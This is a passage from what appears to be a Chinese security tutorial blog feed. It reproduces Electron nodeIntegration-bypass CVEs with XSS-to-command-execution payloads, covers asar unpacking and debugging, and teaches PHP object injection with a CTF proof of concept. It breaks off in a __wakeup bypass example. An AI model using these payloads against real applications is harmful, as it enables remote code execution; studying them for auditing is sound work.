远程代码执行漏洞。</p><p>影响版本:3.0.0-beta.6、2.0.7、 1.8.7 、1.7.15</p><h3 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h3><p>在该漏洞版本中,创建的每个窗口都设置了以下属性:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs js">win.webPreferences = { <br> <span class="hljs-attr">allowRunningInsecureContent</span>: <span class="hljs-literal">false</span>, <br> <span class="hljs-attr">contextIsolation</span>: <span class="hljs-literal">true</span>,<br> <span class="hljs-attr">nodeIntegration</span>: <span class="hljs-literal">false</span>,<br> <span class="hljs-attr">nativeWindowOpen</span>: <span class="hljs-literal">true</span><br>}<br></code></pre></td></tr></table></figure><p>可以看到也禁止了 Node.js 继承,但问题在于窗口的属性无法通过嵌套窗口和iframe正确地继承,而且嵌套窗口和 iframe 中的默认设置没有禁止 Node.js 继承,所以通过嵌套窗口或者使用 iframe 就可以绕过 nodeIntegration 的限制导致远程代码执行。</p><h3 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h3><p>这里使用 vulhub 复现方便一点。</p><p>1)环境搭建</p><p>执行如下命令编译一个包含漏洞的应用:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker-compose run -e PLATFORM=win64 --rm electron<br></code></pre></td></tr></table></figure><p>其中PLATFORM的值是运行该应用的操作系统,可选项有:<code>win64</code>、<code>win32</code>、<code>mac</code>、<code>linux</code>。</p><p>编译完成后,再执行如下命令,启动web服务:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker-compose run --rm -p 8080:80 web<br></code></pre></td></tr></table></figure><p>此时,访问<code>http://your-ip:8080/cve-2018-15685.tar.gz</code>即可下载编译好的应用。</p><p>2)复现过程</p><p>打开漏洞 electron 程序,界面如下,输入的内容会被显示在程序页面中:</p><img src="img/electron审计/image-20210513152231217.png" alt="image-20210513152231217" style="zoom:50%;" /><p>简单验证发现存在 XSS 漏洞</p><img src="img/electron审计/image-20210513152548966.png" alt="image-20210513152548966" style="zoom:50%;" /><p>构造一条命令执行,发现程序没有任何反馈,因为程序默认设置了 nodeIntegration=false</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag"><<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">x</span> <span class="hljs-attr">onerror</span>=<span class="hljs-string">"const exec = require('child_process').exec;exec('id').stdout.on('data', function (data) {alert(data);})"</span>></span><br></code></pre></td></tr></table></figure><p>通过 window.open().open() 其实相当于打开了一个子窗口,在子窗口下再打一个子窗口。(打开一个子窗口不够)</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag"><<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">x</span> <span class="hljs-attr">onerror</span>=<span class="hljs-string">"window.open().open('data:text/html,<script>const exec = require(\'child_process\').exec;exec(\'whoami\').stdout.on(\'data\', function (data) {alert(data);})</script>')"</span>></span><br></code></pre></td></tr></table></figure><p>效果如下:</p><img src="img/electron审计/image-20210513153830743.png" alt="image-20210513153830743" style="zoom: 33%;" /><h3 id="漏洞修复"><a href="#漏洞修复" class="headerlink" title="漏洞修复"></a>漏洞修复</h3><p>这时官方的修复文档: <a href="https://www.electronjs.org/blog/web-preferences-fix">https://www.electronjs.org/blog/web-preferences-fix</a> ,修复方案是强制将顶层windows webPreferences 应用于无限深的所有子窗口。这样再多少个 open 也没有用了😁。</p><h2 id="CVE-2018-1000136"><a href="#CVE-2018-1000136" class="headerlink" title="CVE-2018-1000136"></a>CVE-2018-1000136</h2><p>Electron nodeIntegration存在绕过漏洞,允许攻击者远程命令执行。漏洞编号:CVE-2018-1000136。</p><p>影响版本:Electron 版本< 1.7.13, < 1.8.4, 或 < 2.0.0-beta.3</p><p>该漏洞利用前提是 Electron 应用存在 XSS 漏洞,如果应用没有对用户的输入做安全检查或过滤就可能存在这种漏洞。通过 XSS 漏洞可以利用 <code>webview</code> 标签的特性将 nodeIntegration: false 传入应用 webPreferences 中,来移除对 Node.js 的访问,从而造成远程命令执行。</p><p>利用 POC</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag"><<span class="hljs-name">script</span>></span><span class="javascript"></span><br><span class="javascript"> <span class="hljs-keyword">var</span> x = <span class="hljs-built_in">window</span>.open(<span class="hljs-string">'data://yoloswag'</span>,<span class="hljs-string">''</span>,<span class="hljs-string">'webviewTag=yes,show=no'</span>);</span><br><span class="javascript"> x.eval(</span><br><span class="javascript"> <span class="hljs-string">"var webview = new WebView;"</span>+</span><br><span class="javascript"> <span class="hljs-string">"webview.setAttribute('webpreferences', 'webSecurity=no, nodeIntegration=yes');"</span>+</span><br><span class="javascript"> <span class="hljs-string">"webview.src = `data:text/html;base64,PHNjcmlwdD5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnbHMgLWxhJywgZnVuY3Rpb24gKGUscikgeyBhbGVydChyKTt9KTs8L3NjcmlwdD4=`;"</span>+</span><br><span class="javascript"> <span class="hljs-string">"document.body.appendChild(webview)"</span></span><br><span class="javascript"> );</span><br><span class="javascript"> </span><span class="hljs-tag"></<span class="hljs-name">script</span>></span><br></code></pre></td></tr></table></figure><h1 id="解包"><a href="#解包" class="headerlink" title="解包"></a>解包</h1><p>electron 应用打包为程序后源代码在 Content/Resources/app 目录下:</p><img src="img/electron审计/image-20210513164446175.png" alt="image-20210513164446175" style="zoom:50%;" /><p>Electron 还提供了一个 npm 软件包 asar 来管理这些文件,可以将源码压缩保存,后缀为 asar。我们平时下载到的 electron 应用源码基本都会用这个格式保存,下面记录下解包的方法。</p><p>1)安装好npm</p><p>新版本的Node.js中自动集成了npm,npm是JS的包管理器。在 mac 中可以使用下面的命令安装 Node.js:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ brew install node<br></code></pre></td></tr></table></figure><p>2)安装asar</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ npm install asar -g<br></code></pre></td></tr></table></figure><p>3)解包命令</p><p>以macOS平台为例,在xxx.app/Contents/Resources下找到app.asar</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ asar e app.asar <输出目录><br></code></pre></td></tr></table></figure><p>这里输出目录最好固定为 app ,这样在封装时避免出错。</p><p>解包后就可以正常开始审计代码了。</p><p>如果对文件有修改后想重新封装使用如下命令:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ asar p <源码目录> app.asar<br></code></pre></td></tr></table></figure><h1 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h1><p>electron有主进程和渲染进程,所以调试部分也分为两大块,即调试主进程和渲染进程。</p><h2 id="调试渲染进程"><a href="#调试渲染进程" class="headerlink" title="调试渲染进程"></a>调试渲染进程</h2><p>调试渲染进程和调试浏览器的方法基本差不多。在运行electron 应用之后可以通过下面两种方式打开调试工具。</p><h3 id="手动打开"><a href="#手动打开" class="headerlink" title="手动打开"></a>手动打开</h3><p>在导航栏: View->Toogle Developer Tools</p><img src="img/electron审计/image-20210513182926259.png" alt="image-20210513182926259" style="zoom:50%;" /><p>但是该方法局限性比较大,很多软件并不会把调试工具放在导航栏中。</p><h3 id="代码打开"><a href="#代码打开" class="headerlink" title="代码打开"></a>代码打开</h3><p>在主进程(一般默认的就是main.js)中使用 <code>const mainWindow = new BrowserWindow</code> 实例化窗口的时候,加上如下一句功能代码:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-comment">// Open the DevTools.</span><br>mainWindow.webContents.openDevTools();<br></code></pre></td></tr></table></figure><p>一定要注意添加的位置:</p><img src="img/electron审计/image-20210513184422750.png" alt="image-20210513184422750" style="zoom:50%;" /><p>其中 openDevTools 可以接受一个参数,这个参数是个配置对象,一般会根据自己开发习惯在里面配置控制台打开的方向。当然也可以在控制台打开之后自己调整。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs python">mainWindow.webContents.openDevTools({<br> mode:<span class="hljs-string">'bottom'</span><br>});<br></code></pre></td></tr></table></figure><p>最终效果如下:</p><img src="img/electron审计/image-20210513185033219.png" alt="image-20210513185033219" style="zoom:50%;" /><p>可以发现的是在调试渲染进程时是找不到 js 文件的。(谷歌调试找文件的快捷键:cmd+p)</p><img src="img/electron审计/image-20210514103853146.png" alt="image-20210514103853146" style="zoom:50%;" /><h2 id="调试主进程"><a href="#调试主进程" class="headerlink" title="调试主进程"></a>调试主进程</h2><p>1)使用 <code>--inspect=[port]</code> 来设置一个运行端口,比如在 package.json 中配置如下脚本</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-string">"scripts"</span>: {<br> <span class="hljs-attr">"start"</span>: <span class="hljs-string">"electron --inspect=5858 ."</span>,<br> }<br></code></pre></td></tr></table></figure><p>然后在目录下进入终端输入: <code>npm run start</code>。</p><p>2)浏览器输入: chrome://inspect,点击下方 inspect</p><img src="img/electron审计/image-20210514102206609.png" alt="image-20210514102206609" style="zoom:50%;" /><p>可以发现调试的全是 js 文件:</p><img src="img/electron审计/image-20210514104026146.png" alt="image-20210514104026146" style="zoom:50%;" /><h2 id="生产环境调试"><a href="#生产环境调试" class="headerlink" title="生产环境调试"></a>生产环境调试</h2><p>在上面看到调试 electron 还是比较麻烦的,这里推荐一个软件 debugtron 。</p><p>首先 debugtron 就会展示系统中已经安装的 electron 软件,可以看到我们日常使用的很多软件都是 electron,对于没有检测出来的 electron 软件,直接将软件拖入 debugtron 也可以了。</p><img src="img/electron审计/image-20210514104640115.png" alt="image-20210514104640115" style="zoom:50%;" /><p>这里简单看下使用方法,我把测试软件拖入 electron 后,程序会被自动打开,面板左侧会显示可调试的会话列表,包括主进程和渲染进程,可以根据标签来区分。右侧会显示主进程启动的日志:</p><img src="img/electron审计/image-20210514105512270.png" alt="image-20210514105512270" style="zoom: 33%;" /><p>查看版本的命令:<code>process.versions</code></p><img src="img/electron审计/image-20210826153820252.png" alt="image-20210826153820252" style="zoom:50%;" /><p>参考:</p><p>Electron的安全策略,参考官方文档:<a href="https://www.bookstack.cn/read/electron-10-zh/tutorial-security.md">https://www.bookstack.cn/read/electron-10-zh/tutorial-security.md</a></p><p>CVE-2018-15685参考:<a href="https://www.contrastsecurity.com/security-influencers/cve-2018-15685%E3%80%81">https://www.contrastsecurity.com/security-influencers/cve-2018-15685、</a></p><p><a href="https://xz.aliyun.com/t/2640">https://xz.aliyun.com/t/2640</a></p><p>electron 代码审计:<a href="https://www.cnblogs.com/Mang0/p/13269450.html%E3%80%81https://xz.aliyun.com/t/6998#toc-2">https://www.cnblogs.com/Mang0/p/13269450.html、https://xz.aliyun.com/t/6998#toc-2</a></p><p>electron 调试:<a href="https://www.electronjs.org/docs/tutorial/debugging-main-process%EF%BC%8Chttps://blog.csdn.net/weixin_38080573/article/details/105048111">https://www.electronjs.org/docs/tutorial/debugging-main-process,https://blog.csdn.net/weixin_38080573/article/details/105048111</a></p><p>debugtron:<a href="https://github.com/bytedance/debugtron">https://github.com/bytedance/debugtron</a></p>]]></content>
<categories>
<category>杂项</category>
</categories>
<tags>
<tag>代码审计</tag>
</tags>
</entry>
<entry>
<title>php 反序列化漏洞</title>
<link href="/2021/09/php_unserialize/"/>
<url>/2021/09/php_unserialize/</url>
<content type="html"><![CDATA[<h1 id="PHP序列化与反序列化"><a href="#PHP序列化与反序列化" class="headerlink" title="PHP序列化与反序列化"></a>PHP序列化与反序列化</h1><h2 id="序列化的应用"><a href="#序列化的应用" class="headerlink" title="序列化的应用"></a>序列化的应用</h2><p>看完这篇应该有一个更深刻的理解:<a href="https://zhuanlan.zhihu.com/p/33426188">https://zhuanlan.zhihu.com/p/33426188</a></p><p>在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果为一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?难道要前一个脚本不断的循环,等待后面脚本调用?这肯定是不现实的</p><p>php 程序为了更方便的保存和传输对象,提供了序列化和反序列化的方法。有一种更直观的理解,两个人互相传文件时,通常会做压缩解压操作,也可以这么理解序列化与反序列化</p><h2 id="serialize"><a href="#serialize" class="headerlink" title="serialize()"></a>serialize()</h2><p>PHP 使用 <code>serialize()</code> 将对象序列化为字符串保存下来</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">serialize(<span class="hljs-keyword">mixed</span> <span class="hljs-variable">$value</span>): <span class="hljs-keyword">string</span><br></code></pre></td></tr></table></figure><p><strong>serialize()</strong> 将返回字符串,此字符串包含了表示 <code>$value</code> 的字节流,可以存储于任何地方</p><p>当序列化对象时,PHP 将试图在序列动作之前调用该对象的成员函数 <strong>__sleep()</strong></p><p>序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字</p><p>【序列化字符串格式】</p><p>所有php里面的值都可以使用函数 serialize() 序列化为包含字节流的字符串,PHP 序列化字符串格式如下</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php">O:<span class="hljs-number">4</span>:<span class="hljs-string">"Test"</span>:<span class="hljs-number">2</span>:{s:<span class="hljs-number">1</span>:<span class="hljs-string">"a"</span>;s:<span class="hljs-number">5</span>:<span class="hljs-string">"Hello"</span>;s:<span class="hljs-number">1</span>:<span class="hljs-string">"b"</span>;i:<span class="hljs-number">20</span>;}<br>对象类型:类名长度:<span class="hljs-string">"类名"</span>:类中变量的个数:{类型:变量名长度:<span class="hljs-string">"名字"</span>;类型:变量值长度:<span class="hljs-string">"值"</span>;......}<br></code></pre></td></tr></table></figure><p>【类型字母详解】</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs php">a - <span class="hljs-keyword">array</span> b - <span class="hljs-keyword">boolean</span> <br>d - <span class="hljs-keyword">double</span> i - <span class="hljs-keyword">integer</span><br>o - common <span class="hljs-keyword">object</span> r - reference<br>s - <span class="hljs-keyword">string</span> C - custom <span class="hljs-keyword">object</span><br>O - <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">N</span> - <span class="hljs-title">null</span></span><br><span class="hljs-class"><span class="hljs-title">R</span> - <span class="hljs-title">pointer</span> <span class="hljs-title">reference</span> <span class="hljs-title">U</span> - <span class="hljs-title">unicode</span> <span class="hljs-title">string</span></span><br></code></pre></td></tr></table></figure><p>【实例】数据类型为对象</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs PHP"><span class="hljs-meta"><?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">people</span></span>{<br><span class="hljs-keyword">public</span> <span class="hljs-variable">$name</span> = <span class="hljs-string">'xy'</span>;<br><span class="hljs-keyword">public</span> <span class="hljs-variable">$age</span> = <span class="hljs-string">'18'</span>;<br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">skills</span>(<span class="hljs-params"></span>)</span>{<br><span class="hljs-keyword">echo</span> <span class="hljs-string">'nothing'</span>;<br>}<br>}<br><span class="hljs-variable">$tmp</span> = <span class="hljs-keyword">new</span> people();<br><span class="hljs-keyword">echo</span>(serialize(<span class="hljs-variable">$tmp</span>));<br><span class="hljs-meta">?></span><br></code></pre></td></tr></table></figure><p>输出结果</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php">O:<span class="hljs-number">6</span>:<span class="hljs-string">"people"</span>:<span class="hljs-number">2</span>:{s:<span class="hljs-number">4</span>:<span class="hljs-string">"name"</span>;s:<span class="hljs-number">2</span>:<span class="hljs-string">"xy"</span>;s:<span class="hljs-number">3</span>:<span class="hljs-string">"age"</span>;s:<span class="hljs-number">2</span>:<span class="hljs-string">"18"</span>;}<br>对象类型:长度:<span class="hljs-string">"名字"</span>:类中变量的个数:{类型:长度:<span class="hljs-string">"名字"</span>;类型:长度:<span class="hljs-string">"值"</span>;......}<br></code></pre></td></tr></table></figure><p>如果变量类型不为public,如下</p><img src="img/php反序列化漏洞/20200728213035002_1114251234.png" style="zoom:75%;" /><p><img src="img/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/20200728213133826_1229616445.png"></p><p>php为了区别这些属性所以进行了一些修饰。这个乱码查了下资料,其实是 %00(url编码,hex也就是0x00)。表示的是NULL。所以protected属性的表示方式是在变量名前加个 <code>%00*%00</code>, private表示方式是在变量名前加上 <code>%00类名%00</code></p><p>或者以下形式</p><figure class="highlight llvm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs llvm">\<span class="hljs-keyword">x</span><span class="hljs-number">00</span> + 类名 + \<span class="hljs-keyword">x</span><span class="hljs-number">00</span> + 变量名 反序列化出来的是<span class="hljs-keyword">private</span>变量<br>\<span class="hljs-keyword">x</span><span class="hljs-number">00</span> + * + \<span class="hljs-keyword">x</span><span class="hljs-number">00</span> + 变量名 反序列化出来的是<span class="hljs-keyword">protected</span>变量<br></code></pre></td></tr></table></figure><p>【示例】数据类型为数组</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-variable">$arr</span> = <span class="hljs-keyword">array</span>(<span class="hljs-string">'a'</span>,<span class="hljs-string">'b'</span>,<span class="hljs-string">'c'</span>);<br><span class="hljs-variable">$sarr</span> = serialize(<span class="hljs-variable">$arr</span>);<br><span class="hljs-comment">//$usarr = unserialize($sarr);</span><br>print_r(<span class="hljs-variable">$sarr</span>);<br><span class="hljs-comment">//print_r($usarr);</span><br><span class="hljs-meta">?></span><br></code></pre></td></tr></table></figure><p>输出结果</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">a:<span class="hljs-number">3</span>:{i:<span class="hljs-number">0</span>;s:<span class="hljs-number">1</span>:<span class="hljs-string">"a"</span>;i:<span class="hljs-number">1</span>;s:<span class="hljs-number">1</span>:<span class="hljs-string">"b"</span>;i:<span class="hljs-number">2</span>;s:<span class="hljs-number">1</span>:<span class="hljs-string">"c"</span>;}<br></code></pre></td></tr></table></figure><h2 id="unserialize"><a href="#unserialize" class="headerlink" title="unserialize()"></a>unserialize()</h2><p>php使用 unserialize() 恢复原先被序列化的变量</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">unserialize(<span class="hljs-keyword">string</span> <span class="hljs-variable">$str</span>): <span class="hljs-keyword">mixed</span><br></code></pre></td></tr></table></figure><p>若被反序列化的变量是一个对象,在成功地重新构造对象之后,==PHP 会自动地试图去调用 __wakeup() 成员函数==</p><h1 id="php的魔术方法"><a href="#php的魔术方法" class="headerlink" title="php的魔术方法"></a>php的魔术方法</h1><p>PHP类中有一种特殊函数体的存在叫<strong>魔术方法</strong>,这些方法在某些情况下会自动调用</p><figure class="highlight less"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs less"><span class="hljs-selector-tag">__construct</span>()创建对象时触发<br><span class="hljs-selector-tag">__destruct</span>()销毁对象时触发<br><span class="hljs-selector-tag">__sleep</span>() 在一个对象被序列化的时候调用<br><span class="hljs-selector-tag">__wakeup</span>()在一个对象被反序列化的时候调用<br><span class="hljs-selector-tag">__call</span>() 当要调用的方法不存在或权限不足时自动调用<br><span class="hljs-selector-tag">__isset</span>() 在不可访问的属性上调用<span class="hljs-selector-tag">isset</span>()或<span class="hljs-selector-tag">empty</span>()触发<br><span class="hljs-selector-tag">__unset</span>() 在不可访问的属性上使用<span class="hljs-selector-tag">unset</span>()时触发<br><span class="hljs-selector-tag">__invoke</span>() 当把一个类当作函数使用时自动调用<br><span class="hljs-selector-tag">__toString</span>() 当一个类被当成字符串时应被调用,触发条件很多,可以搜一下<br><span class="hljs-selector-tag">__get</span>()当从不可访问的属性读取数据<br></code></pre></td></tr></table></figure><h1 id="PHP反序列化漏洞"><a href="#PHP反序列化漏洞" class="headerlink" title="PHP反序列化漏洞"></a>PHP反序列化漏洞</h1><p>通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,通过控制反序列化数据从而篡改对象的属性,最终造成有效攻击</p><p>漏洞利用的前提:</p><p> 1)可控的反序列化入口</p><pre><code> * unserialize() 参数可控,这是最常见的反序列化入口 * session数据可控反序列化,目标系统混用serialize处理器,情况较少 * phar反序列化,能上传具有phar格式的文件(后缀不影响)+文件函数参数可控。文件函数参数可控主要是为了使用phar://协议读取上传的phar文件</code></pre><p> 2)在反序列化入口文件作用域内存在可利用的类,魔术方法。因为序列化对象只能保存对象的属性值,不能保存方法。所以通过反序列化恢复对象时,只能通过魔术方法触发执行敏感代码。所以前提是程序中有这样的跳板。</p><h2 id="php反序列化基础示例"><a href="#php反序列化基础示例" class="headerlink" title="php反序列化基础示例"></a>php反序列化基础示例</h2><p>[NPUCTF2020] ReadlezPHP</p><p>源码审计,利用反序列化漏洞很多时候都是注入对当前作用域有效的php对象,我们需要对程序本身的代码十分熟悉,所以很多反序列化漏洞基本都是通过代码审计才能挖出:</p><ul><li><p>可以看到HelloPhp类通过魔术方法,默认是执行一个date函数。如果我们能控制HelloPhp类的属性,就能传递任意参数执行任意函数。</p></li><li><p>而程序也提供了一个 unserialize() 变量可控的入口参数,我们通过该参数便可以注入 HelloPhp 类对象的反序列化字符串,通过unserialize() 便可以构造一个HelloPhp类对象,通过控制其属性,执行任意命令。所以很多时候反序列化漏洞有被称作php对象注入漏洞</p></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-comment">#error_reporting(0);</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">HelloPhp</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$a</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$b</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-keyword">$this</span>->a = <span class="hljs-string">"Y-m-d h:i:s"</span>;<br> <span class="hljs-keyword">$this</span>->b = <span class="hljs-string">"date"</span>;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-variable">$a</span> = <span class="hljs-keyword">$this</span>->a;<br> <span class="hljs-variable">$b</span> = <span class="hljs-keyword">$this</span>->b;<br> <span class="hljs-keyword">echo</span> <span class="hljs-variable">$b</span>(<span class="hljs-variable">$a</span>);<br> }<br>}<br><span class="hljs-variable">$c</span> = <span class="hljs-keyword">new</span> HelloPhp;<br><span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'source'</span>]))<br>{<br> highlight_file(<span class="hljs-keyword">__FILE__</span>);<br> <span class="hljs-keyword">die</span>(<span class="hljs-number">0</span>);<br>}<br>@<span class="hljs-variable">$ppp</span> = unserialize(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">"data"</span>]);<br></code></pre></td></tr></table></figure><p>利用poc如下,构造一个HelloPhp类对象,序列化输出该对象,然后注入上诉程序中</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">HelloPhp</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$a</span>=<span class="hljs-string">'phpinfo();'</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$b</span>=<span class="hljs-string">'assert'</span>;<br>}<br><span class="hljs-variable">$a</span> = <span class="hljs-keyword">new</span> HelloPhp();<br><span class="hljs-keyword">echo</span> serialize(<span class="hljs-variable">$a</span>);<br><br><span class="hljs-comment">// 输出:O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}</span><br></code></pre></td></tr></table></figure><blockquote><p>遇到问题:我使 $b=’eval’,却没有效果</p><p>知识点:eval 是一个语言构造器而不是一个函数,不能被<strong>可变函数</strong>调用(来自官方文档);</p><p>在php7.1后,assert也被认为是一个语言结构,故也不能被可变函数调用了</p></blockquote><p>poc执行效果如下:</p><img src="img/php反序列化漏洞/image-20210901112052709.png" alt="image-20210901112052709" style="zoom:50%;" /><p>最后分析一下poc是怎么被执行的:</p><p>1)程序会先对输入做反序列化处理,便会获得一个HelloPhp类对象,在反序列化时会触发 <code>__wakeup()</code> 魔术方法,这里没有不考虑</p><p>2)因为该对象已经创建过了,反序列化也只是恢复该对象,便不会触发 <code>__constuct()</code> 方法</p><p>3)不过在程序结果时,内存中的 HelloPhp 类对象都会被释放,从而触发 <code>__destruct()</code> 函数,因为我们修改了HelloPhp中的属性,程序便按照我们修改的值去执行,从而实现了php对象注入攻击</p><h2 id="wakeup-函数绕过漏洞"><a href="#wakeup-函数绕过漏洞" class="headerlink" title="__wakeup()函数绕过漏洞"></a>__wakeup()函数绕过漏洞</h2><p>很多php程序会使用 <code>__wakeup()</code> 来阻止php对象注入攻击,但 <code>__wakeup()</code> 是被爆出过一个 CVE-2016-7124 漏洞,可以绕过 <code>__wakeup()</code>。不过现在主流的 php 版本已经修复这个漏洞了,利用这个漏洞前请先看好目标的 php 版本</p><p>漏洞编号:CVE-2016-712</p><p>影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10</p><p>漏洞描述:<strong>当序列化字符串对象属性数量大于实际的属性数量时</strong>,将不会调用 <code>__wakeup</code> 函数</p><p>使用上面的示例,系统使用 <code>__wakeup()</code> 做了如下修复,如果还想实现php对象注入攻击,我们需要绕过 <code>__wakeup()</code> 的执行</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">HelloPhp</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$a</span>;<br> <span 